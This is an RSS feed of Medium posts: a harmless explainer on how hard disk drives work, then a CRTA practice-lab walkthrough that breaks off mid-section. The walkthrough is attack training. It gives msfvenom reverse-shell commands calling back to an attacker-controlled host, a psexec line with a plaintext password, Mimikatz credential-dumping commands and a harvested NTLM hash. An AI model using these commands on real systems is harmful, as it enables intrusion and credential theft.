<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Kuldeep Choudhary on Medium]]></title>
        <description><![CDATA[Stories by Kuldeep Choudhary on Medium]]></description>
        <link>https://medium.com/@2003kuldeepchoudhary?source=rss-610eddb4688e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*sAY-rf3IatcyMMArA0lerw.jpeg</url>
            <title>Stories by Kuldeep Choudhary on Medium</title>
            <link>https://medium.com/@2003kuldeepchoudhary?source=rss-610eddb4688e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 09:44:37 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@2003kuldeepchoudhary/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Inside a Hard Disk Drive: How Data Is Actually Read and Written]]></title>
            <link>https://infosecwriteups.com/inside-a-hard-disk-drive-how-data-is-actually-read-and-written-a3256f586144?source=rss-610eddb4688e------2</link>
            <guid isPermaLink="false">https://medium.com/p/a3256f586144</guid>
            <category><![CDATA[hardware]]></category>
            <category><![CDATA[innovation]]></category>
            <category><![CDATA[engineering]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[computer-science]]></category>
            <dc:creator><![CDATA[Kuldeep Choudhary]]></dc:creator>
            <pubDate>Sat, 10 Oct 2026 15:07:59 GMT</pubDate>
            <atom:updated>2026-10-10T15:07:59.428Z</atom:updated>
            <content:encoded><![CDATA[<p><em>From microscopic magnetic patterns to the files we open every day.</em></p><figure><img alt="Components of a Hard Disk Drive" src="https://cdn-images-1.medium.com/max/712/1*rMVMzI6ksJSbX15xM_z4Bg.png" /></figure><p>Every time you open a photograph, launch an application, or save a document, your computer performs a task that seems almost instantaneous.</p><p>But what actually happens when you save a file?</p><p>Where does the data go? How does a machine find the exact information it needs on a spinning disk? And how can magnetic material store the same photographs, videos, documents, and programs that we work with every day?</p><blockquote>The answer lies in a remarkable combination of physics, mechanical engineering, and digital electronics.</blockquote><p>A Hard Disk Drive (HDD) is a non-volatile storage device that records and retrieves digital information using magnetic patterns on rotating platters. Unlike an SSD, which stores data electronically in flash memory cells, an HDD relies on moving mechanical components working alongside highly precise electronics.</p><p>To understand how an HDD works, we first need to understand its internal components.</p><h3>1. Understanding the Core Components of an HDD</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YxVO0e9YjiI8UEMLton48w.png" /></figure><h3>1.1 Platters: Where the Data Lives</h3><figure><img alt="Platter of a Hard Disk" src="https://cdn-images-1.medium.com/max/1024/1*xZwVD64FeAquxvl2aso7ew.jpeg" /></figure><p>The platter is the primary storage medium inside a hard disk drive.</p><p>Platters are rigid circular disks, commonly manufactured using glass or aluminum substrates with a thin magnetic recording layer on their surfaces. An HDD can contain multiple platters stacked on a central spindle.</p><p>When data is written to the drive, the magnetic properties of tiny regions in this recording layer are changed to create patterns representing digital information.</p><p>The key idea is that the data remains stored magnetically even after the computer is switched off.</p><p>This is what makes an HDD a non-volatile storage device.</p><blockquote>One thing to note here is that many will get confused seeing the above image, they will think that there is only one platter (circular disk) in a HDD, NO there are multiple platters arranged like a STACK but without touching.</blockquote><p>A drive usually has one to several platters stacked on a common spindle, and both surfaces of each platter can store data. The magnetic layer is divided into microscopic grains. A group of grains acts together as one magnetized in one of two directions. One direction represents 1, the other represents 0 (in practice the data is encoded by the changes in direction, not the raw direction).</p><h3>1.2 Spindle Motor: Keeping the Platters Moving</h3><figure><img alt="Splindle Motor" src="https://cdn-images-1.medium.com/max/489/1*T9ODVdSwxQIZgxsNpWWwIQ.jpeg" /></figure><p>The platters are attached to a spindle driven by an electric motor.</p><p>When the drive starts, the motor accelerates the platters to their operating speed, commonly measured in revolutions per minute (RPM).</p><p>Depending on the drive, this may be 5,400 RPM, 7,200 RPM, or another speed.</p><p>Why is <strong>rotation necessary</strong>?</p><p>Because the read/write heads need to access different regions of the platter. By continuously rotating the recording surface, the drive brings different portions of the stored data underneath the heads.</p><p>Without the spindle motor, the drive could not perform normal reads and writes.</p><h3>1.3 Read/Write Heads: The Interface Between Magnetism and Electronics</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*wHOXVjRhUFmMaXz__o04_g.jpeg" /></figure><p>The read/write heads are among the most important components of an HDD.</p><p>They perform two separate jobs:</p><ul><li><strong>Reading:</strong> Detecting magnetic changes on the platter and converting them into electrical signals.</li><li><strong>Writing:</strong> Applying a localized magnetic field to change the recording pattern on the platter.</li></ul><p>Modern heads generally contain separate read and write elements designed for these different functions.</p><p>One fascinating detail is that the heads do not normally touch the platter while the drive is operating. Instead, they fly extremely close to the surface on a thin cushion of air created by the spinning disk.</p><p>The clearance is extraordinarily small, making the entire mechanism sensitive to contamination, physical shocks, and mechanical damage.</p><h3>1.4 Actuator Arm and Voice Coil Motor: Finding the Correct Location</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pyxjUBNruSyW7T8K1v_dvQ.jpeg" /></figure><p>The read/write heads cannot access every region of the platter while remaining in one position.</p><p>They must move across the surface to reach the required recording tracks.</p><p>This is the job of the actuator assembly.</p><p>An electronically controlled voice coil motor moves the actuator arm inward or outward, positioning the heads over the required tracks.</p><p>However, moving to the correct track is only half the process. The platter must also rotate until the required data is beneath the head.</p><p>These two operations are fundamental to understanding HDD performance.</p><h3>1.5 Controller Board (PCB): The Drive’s Control Centre</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*99qe4UGHVGV860GNA-ODrw.jpeg" /></figure><p>An HDD is not simply a collection of spinning disks and magnetic heads. It also contains sophisticated electronics.</p><p>Its controller and firmware coordinate the drive’s operations, including:</p><ul><li>Receiving and interpreting commands from the computer.</li><li>Controlling spindle speed and head positioning.</li><li>Processing the electrical signals produced during reading.</li><li>Managing data encoding and error correction.</li><li>Translating logical block addresses into internal recording locations.</li><li>Managing defective sectors and other drive-level operations.</li></ul><p>This is what allows the operating system to request data without having to control the HDD’s mechanical components directly.</p><p>The circuit board on the outside of the drive is its brain. It contains:</p><ul><li>The <strong>controller/processor </strong>which translates commands from the computer (over SATAor SAS) into physical actions.</li><li><strong>Cache (DRAM buffer)</strong> which temporarily holds data being read or written</li><li><strong>Firmware</strong> that handles error correcti</li><li>on, bad sector remapping and motor control</li><li><strong>Preamplifier</strong> and read channel circuitry which boost and decode the tiny analogsignal from the head.</li></ul><h3>1.6 Cache and Signal-Processing Electronics</h3><p>Many HDDs use a cache to temporarily hold data and help manage read and write operations.</p><p>The drive also contains read-channel electronics that process extremely small signals from the read head. These electronics help reconstruct the recorded information and detect or correct errors.</p><p>Together, these components turn a physical magnetic recording into reliable digital data.</p><h3>2. How Is Data Organized on a Hard Disk?</h3><p>Before examining the read and write processes, we need to understand how information is organized on the platter.</p><h3>Tracks</h3><p>Imagine drawing many concentric circles across the platter’s surface.</p><p>These circles represent tracks, which are paths along which magnetic information is recorded.</p><h3>Sectors</h3><p>Each track is divided into smaller addressable sections called sectors.</p><p>A sector is a fundamental unit of storage access. Depending on the drive, logical sectors commonly contain either 512 bytes or 4,096 bytes.</p><p>The HDD uses these addressable blocks to locate the requested data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VvUAeFaTi0SzVQrIiS54dA.jpeg" /></figure><blockquote>There are <strong>many Platters</strong> with each platter above the other one without touching and each platter have their respective<strong> read/write </strong>head<strong>.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*iG4LzkS18lpoG8Ug3b_LLw.jpeg" /></figure><h3>Logical Block Addressing (LBA)</h3><p>Here is where the abstraction becomes interesting.</p><p>The operating system generally does not need to know the exact physical radius or angular position of a particular sector. Instead, it requests numbered logical blocks.</p><p>This scheme is called Logical Block Addressing, or LBA.</p><p>The drive’s firmware translates these logical addresses into internal recording locations. It can manage physical details such as defective sectors and replacement locations without requiring the operating system to understand the underlying mechanics.</p><p>In other words, the operating system sees an addressable storage device, while the HDD handles the physical work required to reach the data.</p><h3>3. How Does an HDD Read Data?</h3><p>Let’s consider a simple example.</p><p><strong>You double-click a photograph stored on your computer.</strong></p><p><strong>What happens between that action and the moment the image appears on your screen?</strong></p><h3>Step 1: The Application Requests the File</h3><p>When you open a photograph, the application asks the operating system to access the file.</p><p>The operating system’s file system uses its metadata to determine which storage blocks contain the file’s contents.</p><p>If the required data is already available in memory through a cache, the computer may not need to access the HDD at all.</p><p>Assuming the data must be read from the disk, the request proceeds to the storage device.</p><h3>Step 2: The Operating System Sends a Read Request</h3><p>The operating system’s storage subsystem issues read commands specifying the required logical blocks.</p><p>The HDD receives these commands through its storage interface, such as SATA or SAS, depending on the device.</p><blockquote>The drive’s firmware determines where the requested blocks need to be accessed internally.</blockquote><p>The computer does not need to specify the actuator’s position or the rotational angle of the platter.</p><p>The drive handles those details itself.</p><h3>Step 3: The Actuator Positions the Head</h3><p>The HDD moves its actuator assembly to position the appropriate read head over the target track.</p><blockquote>This movement is called <strong><em>seeking</em></strong>, and the time required is known as<strong> <em>seek time</em>.</strong></blockquote><p>If the head is already close to the required track, the movement may be relatively short. If the target lies farther away, the drive may need more time to reach it.</p><h3>Step 4: The Platter Rotates to the Required Sector</h3><p>After reaching the correct track, the drive must wait for the desired recording area to rotate beneath the head.</p><blockquote>This <strong>waiting period </strong>is known as <strong><em>rotational latency</em></strong>.</blockquote><p>The actuator controls where the head sits, while platter rotation determines when the requested sector passes underneath it.</p><p>Both operations contribute to the time required to retrieve data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*M4tKE74H3pYvicIMtKpUTA.gif" /></figure><h3>Step 5: Magnetic Patterns Become Electrical Signals</h3><p>Now we reach the heart of the read operation.</p><p>As the magnetic recording surface moves beneath the read element, the element senses changes in the magnetic field.</p><p>These changes generate tiny electrical signals.</p><p>However, the read head does not directly produce a perfectly formed sequence of binary digits. The signal is extremely small and must be processed by the drive’s electronics.</p><p>The read channel amplifies and processes the signal, reconstructs the recorded pattern, and decodes it into digital data.</p><p>Error-correction mechanisms then help detect and recover data affected by certain recording or reading errors.</p><p>An important detail: HDDs use sophisticated recording codes and signal-processing techniques. It is an oversimplification to assume that every individual bit is represented by one simple magnetic direction, with one direction always meaning 0 and the other always meaning 1.</p><p>The actual interpretation depends on the recording and decoding method.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0tnGlFHzoQC75h7FLmkVTg.png" /></figure><h3>Step 6: The Data Returns to the Computer</h3><p>Once the requested data has been recovered, the drive sends it to the computer through its storage interface.</p><p>The operating system receives the data and makes it available to the application.</p><p>The application then interprets the bytes as an image and displays the photograph on the screen.</p><p>The overall process looks like this:</p><p><strong>Application request → File system → Logical block request → Head positioning → Magnetic sensing → Signal processing → Digital data returned to the application.</strong></p><p>A physical magnetic pattern has now been transformed into information that software can use.</p><h3>4. How Does an HDD Write Data?</h3><p>Reading retrieves an existing magnetic recording. Writing creates or modifies one.</p><p>Suppose you create a text document, type a few sentences, and press<br> Ctrl + S</p><p>How does that information actually reach the platter?</p><h3>Step 1: The Application Requests a Save</h3><p>The application passes the file data to the operating system.</p><p>The file system manages where the file’s contents should be stored and updates the metadata needed to find those contents later.</p><p>The required storage blocks may already be allocated, or new blocks may need to be allocated.</p><p>Importantly, the file’s contents are not necessarily stored in one continuous physical region. They may occupy several different areas of the drive.</p><h3>Step 2: The Operating System Sends Write Commands</h3><p>The operating system’s storage subsystem prepares the required write requests.</p><p>These requests identify logical blocks and carry the data that needs to be stored.</p><p>Some data may initially be held in system memory or a drive cache rather than being written to the platter immediately.</p><blockquote>The drive’s firmware receives the commands and determines how to execute them.</blockquote><h3>Step 3: The Drive Positions the Head</h3><p>The actuator moves the write head to the required track.</p><p>The platter continues rotating until the target recording location is in the correct position beneath the head.</p><p>As with reading, seek time and rotational latency can affect performance.</p><h3>Step 4: The Write Head Changes the Magnetic Recording</h3><p>This is the most important part of the operation.</p><p>The write element generates a localized magnetic field. This field changes the magnetization of tiny regions in the recording layer according to the encoded information being recorded.</p><p>As the platter rotates, the write element creates the intended magnetic pattern along the track.</p><p>The pattern represents encoded digital data rather than a visible collection of marks.</p><p>The magnetic layer preserves that pattern after the write operation, allowing it to be read again later.</p><p><strong>This is why the file remains stored when you shut down the computer.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*DXc7nhSQtFeoDRDSZNCM7A.gif" /></figure><h3>Step 5: The Drive Handles Reliability and Completion</h3><p>The HDD’s electronics and firmware help maintain accurate positioning, encode recorded data, and use error-correction mechanisms to support reliable retrieval.</p><p>The drive may also manage internal remapping when it encounters defective physical sectors.</p><p>Once the write operation has reached the required completion point, the drive reports status to the computer.</p><p><strong>There is an important distinction here</strong>: depending on the drive’s caching behavior and the commands issued by the operating system, a write can be acknowledged before its data has been committed to the physical platter.</p><p>Applications and operating systems use appropriate flush or durability mechanisms when they need stronger guarantees that data has reached persistent storage.</p><p>The save process therefore involves both recording the magnetic data and coordinating the software and hardware layers that manage it.</p><p>The overall process is:</p><p><strong>Application data → File system → Write request → Head positioning → Magnetic recording → Drive completion → Data available for later retrieval.</strong></p><h3>5. Why Are HDDs Slower Than SSDs for Many Tasks?</h3><p>We can now understand a major difference between HDDs and SSDs.</p><blockquote>An HDD must coordinate mechanical movement and platter rotation to access physical recording locations.</blockquote><p>When the requested data is somewhere else on the disk, the drive may need to move the heads and wait for the platter to rotate to the correct position.</p><blockquote>An SSD, in contrast, stores data in semiconductor flash memory and has no spinning platters or moving read/write heads.</blockquote><p>This is particularly important when reading or writing many small pieces of data scattered across different locations.</p><p>For an HDD, those requests can involve repeated seeking and rotational delays. An SSD avoids those particular mechanical delays, which helps it deliver much lower access latency.</p><p>HDDs nevertheless remain useful for large-capacity storage, backups, and workloads where capacity and cost per terabyte are important considerations.</p><h3>6. The Bigger Picture: Hardware and Software Work Together</h3><p>One final idea is worth remembering.</p><p>When you save or open a file, the application does not directly control the magnetic heads. Several layers of software and hardware cooperate.</p><p>The file system manages files and their storage locations. The operating system’s storage subsystem handles I/O requests. The drive controller and firmware translate those requests into the operations needed by the physical device.</p><blockquote>The actuator positions the heads, the spindle rotates the platters, and the read/write elements interact with the magnetic recording layer.</blockquote><p>The controller then processes and transfers the recovered or newly recorded data.</p><p>Each layer hides some of the <strong>complexity </strong>of the layer beneath it.</p><p>That <strong>abstraction</strong> is what allows us to work with familiar files and folders instead of manually controlling motors, magnetic fields, and physical recording locations.</p><h3>Conclusion</h3><p>A hard disk drive is much more than a <strong>spinning</strong> metal disk.</p><p>It is a precision storage system that combines <strong>mechanical motion</strong>, <strong>magnetic recording</strong>,<strong> electronic signal processing</strong>, <strong>error correction,</strong> and <strong>firmware</strong>.</p><p>When <strong>data is read</strong>, magnetic patterns on the platter are sensed and converted into<strong> electrical signals</strong> that are decoded into digital information.</p><p>When<strong> data is written</strong>, the recording head produces a magnetic field that <strong>changes</strong> the<strong> magnetic pattern on the platter,</strong> preserving the encoded information for future retrieval.</p><p>The next time you save a file or open an image, remember what happens behind the scenes: a computer request travels through several layers of software, an actuator positions a microscopic head, a platter rotates, and magnetic information is read or written with extraordinary precision.</p><blockquote>That is how a hard disk drive turns physical magnetic patterns into the digital files we use every day.</blockquote><p>If you liked the Article please Hit Like and follow for amazing articles.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a3256f586144" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/inside-a-hard-disk-drive-how-data-is-actually-read-and-written-a3256f586144">Inside a Hard Disk Drive: How Data Is Actually Read and Written</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CRTA Active Directory Lab Walkthrough]]></title>
            <link>https://cybersecuritywriteups.com/crta-active-directory-lab-walkthrough-ae7eaa8d66d3?source=rss-610eddb4688e------2</link>
            <guid isPermaLink="false">https://medium.com/p/ae7eaa8d66d3</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[crta]]></category>
            <category><![CDATA[windows-exploitation]]></category>
            <category><![CDATA[red-teaming]]></category>
            <dc:creator><![CDATA[Kuldeep Choudhary]]></dc:creator>
            <pubDate>Sat, 19 Sep 2026 07:40:21 GMT</pubDate>
            <atom:updated>2026-10-07T08:41:42.781Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="Active Directory image" src="https://cdn-images-1.medium.com/max/670/1*kHUbj9ih4BZLiuw_bUoRvA.png" /></figure><p>Certified Red Team Analsyt (CRTA) is a Red Teaming Certification exam by the CyberWarFare Labs.</p><p>Before the actual examination we get a Active Directory Lab to solve for practice in which we have to find security vulnerabilities in a machine in the DMZ network from there we have to do Lateral Movement and move to the Internal network and compromise other machines in the internal AD Network.</p><p><strong>DMZ Network<br>A DMZ (Demilitarized Zone) is a separate network segment where you place public-facing servers so that attackers cannot directly reach your internal/private network.</strong></p><p>Think of it like a <strong>security buffer zone</strong> between the Internet and your company’s internal network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*CggqDXV3Iem_R9nOXc-KtA.jpeg" /></figure><p>So we have got a External IP range <strong>192.168.80.0/24</strong> which is the DMZ Network and a Internal AD Network IP range <strong>192.168.98.0/24.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/326/1*o9w8T7gIRPI-o96KeCNLMw.png" /></figure><h3>01 — Initial Access</h3><p>Lessssss goooooooooo !</p><p>First I connected to the Lab’s openvpn with the credentials given in the Lab.</p><p>Then did a <strong>host discovery</strong> on the <strong>External IP Range </strong>and found two hosts up with ip’s <strong>192.168.80.1</strong> and <strong>192.168.80.10</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*Q8peAZv1R-JqggBlXA2JFg.png" /></figure><p>Then did detailed indiviual scans on both the ip’s.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HBtJnTHEF2y4J1i5mjDGfA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0PnYFPoMBWe_nkagja16Iw.png" /></figure><p>The results of <strong>192.168.80.10</strong> machine seemed more intresting because it has both port <strong>22 </strong>(ssh) and port <strong>80 </strong>(http) are open.</p><p>Then I went to the website hosted on the port <strong>80 </strong>of<strong> 192.168.80.10 </strong>and it was a dummy E-commerce website did signup and logged in to the website.</p><p>Tried many things there for example LFI and file upload vulnerabilities but nothing was working actually then I came under a subscribe to our newsletter field.</p><p>Intercepted that subscribe request in the burp suite and sent it to repeater tested various parameters there then the least possible and worst possible parameter<strong> EMAIL </strong>was vulnerable to<strong> command Inejction</strong></p><p>Can you really think of in your rarest dreams that a EMAIL paramter can be vulnerable to Command Injection, No you can’t but the Security reasearchers at CyberWarFare Labs can.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c73vpvAKkstBwL0wm3AUEQ.png" /></figure><p>Then I found hard coded credentials of a user in the /etc/passwd file, I said Hard Coded not hasehed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*SBUUOeQ5Pq_vFPjDAucVSg.png" /></figure><p>Tried SSH login with those credentials and Boooooom it was succesfull.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*2j3uxsSIaPY516f3vlOrdA.png" /></figure><h3>02 — Enumeration</h3><p>Then I came across a file named .sqlite_history it seemed intresting to me because it contains sql query hisitory and there was a table named moz_bookmarks .</p><p>Firefox stores user history, form entries, and bookmarks in SQLite databases within user profile directories.</p><p>Navigating to the Active Firefox Profile</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uqPBjvwLQaoZVpfu6pV4cA.png" /></figure><p>Inspecting Bookmarks and Visited URLs in places.sqlite</p><p>The places.sqlite database stores both history (moz_places) and bookmarks (moz_bookmarks).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mGiOu-X-_TVCDRQy3PxFGQ.png" /></figure><p>In the <strong>moz_bookmarks</strong> table I found a url with <strong>username = </strong><strong>john</strong> and his <strong>password = </strong><strong>User1@#$6 </strong>and the user was part of a<strong> domain</strong> in the Active Directory named <strong>child.warfare.corp.</strong></p><p>when I did a <strong>ifconfig</strong> in the present ssh session i came across a another machine which was of the internal<strong> 192.168.98.0/24 </strong>subnet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vt1E6bztVFTk9D2phtvxJg.png" /></figure><p>So this DMZ Linux machine is a dual homed machine bridging 192.168.80.0/24 and 192.168.98.0/24</p><p>Till now we have compromised a machine in the DMZ network now from here we have to do lateral movement in the AD network and compromise other machines in the internal network.</p><p>Before moving foreward we have to do <strong>Netowrk pivoting</strong> so that we can send traffic directly from our machine to the internal machines in the AD network.</p><h4>Network Pivoting</h4><p>Pivoting means using one compromised machine as a stepping stone or middleman to reach another machine/network that you cannot directly access because those machines are not in your Subnet.</p><p>You <br> ↓<br> Internet<br> ↓<br> 💻 Compromised PC (Pivot)<br> ↓<br>🔒 Internal Network<br>├── 💻 Server A<br>├── 💻 Server B<br>└── 💻 Database</p><p>We have two options from here to do pivoting —</p><ol><li>Proxychains with dynamic port forwarding in SSH</li><li>Ligolo-ng tool</li></ol><p>I will be using ligolo-ng but you can use proxychains also but the problem with proxychains is that SOCKS proxies (that is used in ssh dynamic port forwaridng) forwards TCP streams. Standard ICMP (ping) and raw packet scans (such as nmap -sS SYN stealth scans, nmap -sn , detection -O, or UDP sweeps) will not work through Proxychains.</p><p>So I will prefer you to use ligolo-ng only , To set up ligolo-ng in your machine there is a very good article here —</p><p><a href="https://mostafa-abdo.medium.com/pivoting-with-ligolo-ng-double-listener-mechanics-in-active-directory-839f4ca0547b">Pivoting with Ligolo-ng: Double Listener Mechanics in Active Directory</a></p><p>So I sent the agent file to the pivot machine (<strong>192.168.80.10)</strong> and started the proxy on my kali machine and I was able to succesfully route the traffic from my kali machine to <strong>192.168.98.0/24 (Internal AD network) </strong>using<strong> ligolo-ng.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0TFVIfBVFu_JCfa7SO8A7w.png" /></figure><h3>03 — Internal Access</h3><p>First I did a <strong>host discovery</strong> on the <strong>Internal IP Range </strong>and found four hosts to be up with ip’s</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*-i1j78dqGgM61lFOPN7D5A.png" /></figure><blockquote>One thing to note here is that when I was running a nmap scan without the — unprivileged flag set all <strong>256 hosts</strong> were shown up I don’t know the exact reason of it , why it happened but most probably the reason is that —</blockquote><blockquote>In root Nmap scan (without — unprivileged )<strong> Nmap crafts raw Layer 2/3 packets</strong> and Nmap believes if a target is directly on the local link, it defaults to sending <strong>ARP requests</strong>. Some <strong>tunnel/TUN devices</strong> or intermediate route configurations will respond to or absorb ARP/raw packets locally, leading Nmap to interpret every synthesized ARP reply as a <strong>valid live host</strong>.</blockquote><blockquote>But in (unprivileged nmap scan) Nmap is forced to rely strictly on the standard operating system network stack via standard system calls:<br><strong>TCP </strong><strong>connect() Probes:</strong> Instead of raw packets, Nmap issues standard TCP connect() calls (specifically targeting port 80 and port 443) using the kernel&#39;s normal routing table.</blockquote><p>So that’s why in normal root nmap scan I was getting all 256 hosts as UP.</p><p>Then did individual scans on each of the ip’s and it was found that</p><ol><li><strong>192.168.80.2 — Windows machine</strong></li><li><strong>192.168.80.15 — Linux machine (our dual homed pivot host)</strong></li><li><strong>192.168.80.30 — Windows machine</strong></li><li><strong>192.168.80.120 — Windows machine</strong></li></ol><p>Then I did normal individual nmap scans on the windows machines</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*86CuncOYKt7nYPKXPURc4A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UPpIrTeogrAFcivbLJBUdg.png" /></figure><p>The machine <strong>192.168.98.120</strong> seems most likely to be a Domain Controller because both ports 53 (DNS) and port 88(kerberos) and port 445 (smb) are open.</p><p>Then I tested the credentials found earlier in the linux machine in the DMZ network in the moz_boookmarks table of sqlite database in firefox username <strong>john </strong>and password <strong>User1@#$6 </strong>in both the machines through smb via netexec tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1mivqxHZKioiPub1lxJQ1w.png" /></figure><blockquote>and it worked for the<strong> 192.168.98.30</strong> machine Pwn3dddddddd !</blockquote><blockquote>Then I used impacket-psexec to get a remote shell of the machine and I was successfull but the shell was so unstable.</blockquote><blockquote>impacket-psexec &#39;john:User1@#$%6@192.168.98.30&#39;</blockquote><p>So I generated a reverse shell binary in my kali machine using msfconsole with the LHOST set to my kali machine.</p><p>msfvenom — platform windows -p windows/shell_reverse_tcp LHOST=10.10.200.30 LPORT=9990 -f exe -o rev.exe</p><p>But I was unable to send the rev.exe from my machine to that <strong>192.168.98.30</strong> machine.<br>My python web server was working properly and I was using a powershell Invoke-WebRequest but it was getting timed out again and again.</p><p>So I generated a reverse shell binary in my kali machine using msfconsole with the LHOST set of the pivot host not the kali machine.</p><p>msfvenom — platform windows -p windows/shell_reverse_tcp LHOST=192.168.98.15 LPORT=9990 -f exe -o rev.exe</p><p>Then added listeners on the ligolo-ng session.</p><p>Ligolo requires a reverse listener on the pivot host:<br>So I Added both the ports 8000 for the python web server and port 9990 for the reverse shell connection in the ligolo-ng session.<br>listener_add — addr 0.0.0.0:9990 — to 127.0.0.1:9990 — tcp <br>listener_add — addr 0.0.0.0:8000— to 127.0.0.1:8000 — tcp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1d4_Sd8zEaHVh1KWY-2qzQ.png" /></figure><p>Now it was sent succesfully.</p><p>Actually Earlier, Invoke-WebRequest to 10.10.200.30:8000 timed out because internal hosts on 192.168.98.0/24 have <strong>no route</strong> back to my Kali VPN subnet (10.10.200.0/24).</p><p>A reverse shell works the exact same way: if the payload was generated with LHOST=10.10.200.30, the Windows machine attempts to send packets to an unroutable IP and immediately drops the connection.</p><blockquote>Actually the payload rev.exe When executed on Windows, the payload connects to the pivot host, and Ligolo forwards the traffic back across the tunnel to 127.0.0.1:9990 on Kali.<br>Those machines in the internal subnet has routes to the pivot machine <strong>192.168.98.15 </strong>so no routing conflicts and errors when LHOST was set to <strong>192.168.98.15.</strong></blockquote><p>Now start a python http server in the same directory where we created the rev.exe binary and download it in the <strong>192.168.98.30</strong> machine using the powershell Invoke-WebRequest and execute it.</p><p>booooom got the shell for <strong>192.168.98.30 </strong>!!!!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*6ee8FvE3355QtApaehLiow.png" /></figure><p>Then I started enumerating the users in the AD domain<br>Found intresting users<br>1. john<br>2. corpmngr<br>3. krbtgt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ar_Ydhzq4rQeVR6RnGbOPA.png" /></figure><p>So the domain we are currently authenticated to is <strong>child.warfare.corp 192.168.98.30.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*NdrQtrRLp0Wmvc53ZpVvcQ.png" /></figure><p>So the other machine that we found in the nmap scan <strong>192.168.98.120</strong> is the <strong>Domain Contoller</strong> with domain <strong>cdc.child.warfare.corp</strong>.</p><p><strong>192.168.98.30</strong> — &gt;<strong><em> child.warfare.corp</em></strong> (member server)<br><strong>192.168.98.120</strong> → <strong><em>cdc.child.warfare.corp</em></strong> (child domain controller)</p><p>Then I started enumerating local and domain level privileges of the users john and corpmngr in that machine<br>net localgroup administratros <br>net localgroup administratros /dom</p><blockquote>One intresting thing that suprised me here is that the user<strong> john</strong> is in the <strong>local administrators group</strong> so he has <strong>administrative rights</strong> in that child.warfare.corp 192.168.98.30 machine and the user <strong>corpmngr </strong>has<strong> standard domain user</strong> rights on 192.168.98.30 and <strong>administrative rights</strong> likely reside on other hosts.</blockquote><h3>04 — Lateral Movement</h3><p>Once initial remote code execution is achieved on a Windows victim (e.g., via a staged reverse shell from Metasploit/PsExec), I verified the current privileges and execution context using whoami /priv.</p><p>Now let’s do Credential Harvesting via Mimikatz on that <strong>192.168.98.30</strong> machine which we have current reverse shell going on.</p><h4>(a) In-Memory Credential Harvesting (Mimikatz)</h4><p>I sent the mimikatz.exe from my kali machine to the compromised host and executed the binary.</p><pre># Execute Mimikatz<br>mimi.exe<br><br># Elevate privileges to debug other processes<br>privilege::debug<br><br># Extract cleartext credentials, Kerberos tickets, and NTLM hashes from LSASS memory<br>sekurlsa::logonpasswords</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HsczNBhmyHa_Kp2u9WbCvA.png" /></figure><p><strong>Harvested Artifacts</strong><br>From the compromised host (192.168.98.30), the following credentials were recovered:</p><ul><li>Account 1: john (Local/Domain User)</li><li>Account 2: corpmngr (Domain User / Administrative Candidate)</li><li>Recovered NTLM Hash (corpmngr):<br>4cb3933610b827a281ec479031128cc6</li></ul><h4>(b) Lateral Movement Reconnaissance (SMB Spraying / Pass-the-Hash)</h4><p>Now to discover where the newly acquired credentials grant administrative or local access, let’s test network-accessible hosts across the internal target subnet (192.168.98.0/24)</p><p>Network Verification using NetExec / CrackMapExec</p><pre># Spraying the 